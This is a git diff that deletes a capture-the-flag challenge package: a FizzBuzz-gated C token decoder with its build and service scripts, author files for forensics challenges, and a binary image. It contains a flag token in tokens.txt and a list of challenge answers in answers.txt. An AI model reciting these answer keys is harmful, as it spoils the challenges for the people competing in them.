- - diff --git a/packages/fizzbuzz/fizzbuzz-client.sh b/packages/fizzbuzz/fizzbuzz-client.sh deleted file mode 100755 index d6caa5e..0000000 --- a/packages/fizzbuzz/fizzbuzz-client.sh +++ /dev/null @@ -1,13 +0,0 @@ -#! /bin/sh - -for i in $(seq 100); do - if [ $(expr $i % 15) = 0 ]; then - echo 'FizzBuzz' - elif [ $(expr $i % 3) = 0 ]; then - echo 'Fizz' - elif [ $(expr $i % 5) = 0 ]; then - echo 'Buzz' - else - echo $i - fi -done diff --git a/packages/fizzbuzz/fizzbuzz.mk b/packages/fizzbuzz/fizzbuzz.mk deleted file mode 100644 index 10dcac7..0000000 --- a/packages/fizzbuzz/fizzbuzz.mk +++ /dev/null @@ -1,29 +0,0 @@ -FIZZBUZZ_PKGDIR = $(TARGET)/fizzbuzz -FIZZBUZZ_BUILDDIR = $(BUILD)/fizzbuzz - -$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/tokens.txt -$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/fizzbuzz-client.sh -$(FIZZBUZZ_BUILDDIR)/token.enc: $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native - packages/fizzbuzz/fizzbuzz-client.sh | $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native 3< packages/fizzbuzz/tokens.txt > $@ - -$(FIZZBUZZ_BUILDDIR)/fizzbuzz-native: packages/fizzbuzz/src/fizzbuzz.c - @ mkdir -p $(@D) - cc -o $@ $< - -fizzbuzz-install: fizzbuzz-build - mkdir -p $(FIZZBUZZ_PKGDIR)/bin/ - - $(call COPYTREE, packages/fizzbuzz/service, $(FIZZBUZZ_PKGDIR)/service) - - cp packages/fizzbuzz/tokens.txt $(FIZZBUZZ_PKGDIR)/ - cp $(FIZZBUZZ_BUILDDIR)/token.enc $(FIZZBUZZ_PKGDIR)/ - cp packages/fizzbuzz/src/fizzbuzz $(FIZZBUZZ_PKGDIR)/bin/ - -fizzbuzz-clean: - rm -rf $(FIZZBUZZ_PKGDIR) $(FIZZBUZZ_BUILDDIR) - $(MAKE) -C packages/fizzbuzz/src clean - -fizzbuzz-build: $(FIZZBUZZ_BUILDDIR)/token.enc - $(MAKE) -C packages/fizzbuzz/src build - -PACKAGES += fizzbuzz diff --git a/packages/fizzbuzz/service/fizzbuzz/finish b/packages/fizzbuzz/service/fizzbuzz/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/fizzbuzz/service/fizzbuzz/go b/packages/fizzbuzz/service/fizzbuzz/go deleted file mode 100755 index 1d57de0..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/go +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc \ No newline at end of file diff --git a/packages/fizzbuzz/service/fizzbuzz/ip.txt b/packages/fizzbuzz/service/fizzbuzz/ip.txt deleted file mode 100644 index b1bd38b..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/ip.txt +++ /dev/null @@ -1 +0,0 @@ -13 diff --git a/packages/fizzbuzz/service/fizzbuzz/log/run b/packages/fizzbuzz/service/fizzbuzz/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/fizzbuzz/service/fizzbuzz/run b/packages/fizzbuzz/service/fizzbuzz/run deleted file mode 100755 index 3347b07..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/fizzbuzz/src/Makefile b/packages/fizzbuzz/src/Makefile deleted file mode 100644 index cd3f866..0000000 --- a/packages/fizzbuzz/src/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -CFLAGS = -Wall -Werror -TARGETS = fizzbuzz - -all: build -build: $(TARGETS) - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) diff --git a/packages/fizzbuzz/src/fizzbuzz.c b/packages/fizzbuzz/src/fizzbuzz.c deleted file mode 100644 index 2b495e7..0000000 --- a/packages/fizzbuzz/src/fizzbuzz.c +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include -#include - -/* - * How this works: - * - * You have to provide this with the output of a fizzbuzz program to get - * it to decode the token. - * - * Provide the encoded token on fd 3, and it will output the decode - * provided correct input. If you provided the decoded token, it will - * encode it. In other words, encode(x) = decode(x). - * - * - * Here's a fizzbuzz program in bourne shell: - * - * for i in $(seq 100); do - * if [ $(expr $i % 15) = 0 ]; then - * echo 'FizzBuzz' - * elif [ $(expr $i % 3) = 0 ]; then - * echo 'Fizz' - * elif [ $(expr $i % 5) = 0 ]; then - * echo 'Buzz' - * else - * echo $i - * fi - * done - * - */ - -char craptable[] = { - 0x64, 0xd4, 0x11, 0x55, 0x50, 0x16, 0x61, 0x02, - 0xf7, 0xfd, 0x63, 0x36, 0xd9, 0xa6, 0xf2, 0x29, - 0xad, 0xfb, 0xed, 0x7a, 0x06, 0x91, 0xe7, 0x67, - 0x80, 0xb6, 0x53, 0x2c, 0x43, 0xf9, 0x3c, 0xf2, - 0x83, 0x5c, 0x25, 0xee, 0x21 -}; - -int -main(int argc, char *argv[]) -{ - int i; - char token[100]; - size_t tokenlen; - - { - FILE *tokenin = fdopen(3, "r"); - - if (! tokenin) { - printf("Somebody didn't read the instructions.\n"); - return 1; - } - - tokenlen = fread(token, 1, sizeof(token), tokenin); - fclose(tokenin); - } - - - for (i=1; i <= 100; i += 1) { - char l[100]; - - fgets(l, sizeof(l), stdin); - - if (0 == i % 15) { - if (0 != strcmp("FizzBuzz\n", l)) break; - } else if (0 == i % 3) { - if (0 != strcmp("Fizz\n", l)) break; - } else if (0 == i % 5) { - if (0 != strcmp("Buzz\n", l)) break; - } else { - if (atoi(l) != i) break; - } - - token[i % tokenlen] ^= i; - token[i % tokenlen] ^= craptable[i % sizeof(craptable)]; - } - - if (101 == i) { - fwrite(token, tokenlen, 1, stdout); - } else { - printf("Next time, FizzBuzz me.\n"); - } - - return 0; -} diff --git a/packages/fizzbuzz/tokens.txt b/packages/fizzbuzz/tokens.txt deleted file mode 100644 index c55bea1..0000000 --- a/packages/fizzbuzz/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xuhen-fizuv-syvex diff --git a/packages/forensics/100/@author.txt b/packages/forensics/100/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/100/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/133/@author.txt b/packages/forensics/133/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/133/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/166/@author.txt b/packages/forensics/166/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/166/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/200/@author.txt b/packages/forensics/200/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/200/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/205/@author.txt b/packages/forensics/205/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/205/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/210/@author.txt b/packages/forensics/210/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/210/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/215/@author.txt b/packages/forensics/215/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/215/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/220/@author.txt b/packages/forensics/220/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/220/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/225/@author.txt b/packages/forensics/225/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/225/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/230/@author.txt b/packages/forensics/230/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/230/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/250/@author.txt b/packages/forensics/250/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/250/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/275/@author.txt b/packages/forensics/275/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/275/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/500/@author.txt b/packages/forensics/500/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/500/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/525/@author.txt b/packages/forensics/525/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/525/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/530/@author.txt b/packages/forensics/530/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/530/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/540/@author.txt b/packages/forensics/540/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/540/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/545/@author.txt b/packages/forensics/545/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/545/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/550/@author.txt b/packages/forensics/550/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/550/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/560/@author.txt b/packages/forensics/560/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/560/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/570/@author.txt b/packages/forensics/570/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/570/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/575/@author.txt b/packages/forensics/575/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/575/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/577/@author.txt b/packages/forensics/577/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/577/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/580/@author.txt b/packages/forensics/580/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/580/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/585/@author.txt b/packages/forensics/585/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/585/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/587/@author.txt b/packages/forensics/587/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/587/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/589/@author.txt b/packages/forensics/589/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/589/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/590/@author.txt b/packages/forensics/590/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/590/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/595/@author.txt b/packages/forensics/595/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/595/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/600/@author.txt b/packages/forensics/600/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/600/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/650/@author.txt b/packages/forensics/650/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/650/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/gs/answers.txt b/packages/gs/answers.txt deleted file mode 100644 index 4506a61..0000000 --- a/packages/gs/answers.txt +++ /dev/null @@ -1,9 +0,0 @@ -5 UGOTIT -5 ugotit -10 making science -30 viewfinders filets -40 b00m! face punch. -40 B00M! FACE PUNCH. -60 A WINNER IS YOU -80 overhaul credential -90 A WINNER IS WHO? diff --git a/packages/gs/generalstatics.com/bg.jpg b/packages/gs/generalstatics.com/bg.jpg deleted file mode 100644 index 0c8ec50897f0227a1c3976ffd70f2477af3a0665..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 182534 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 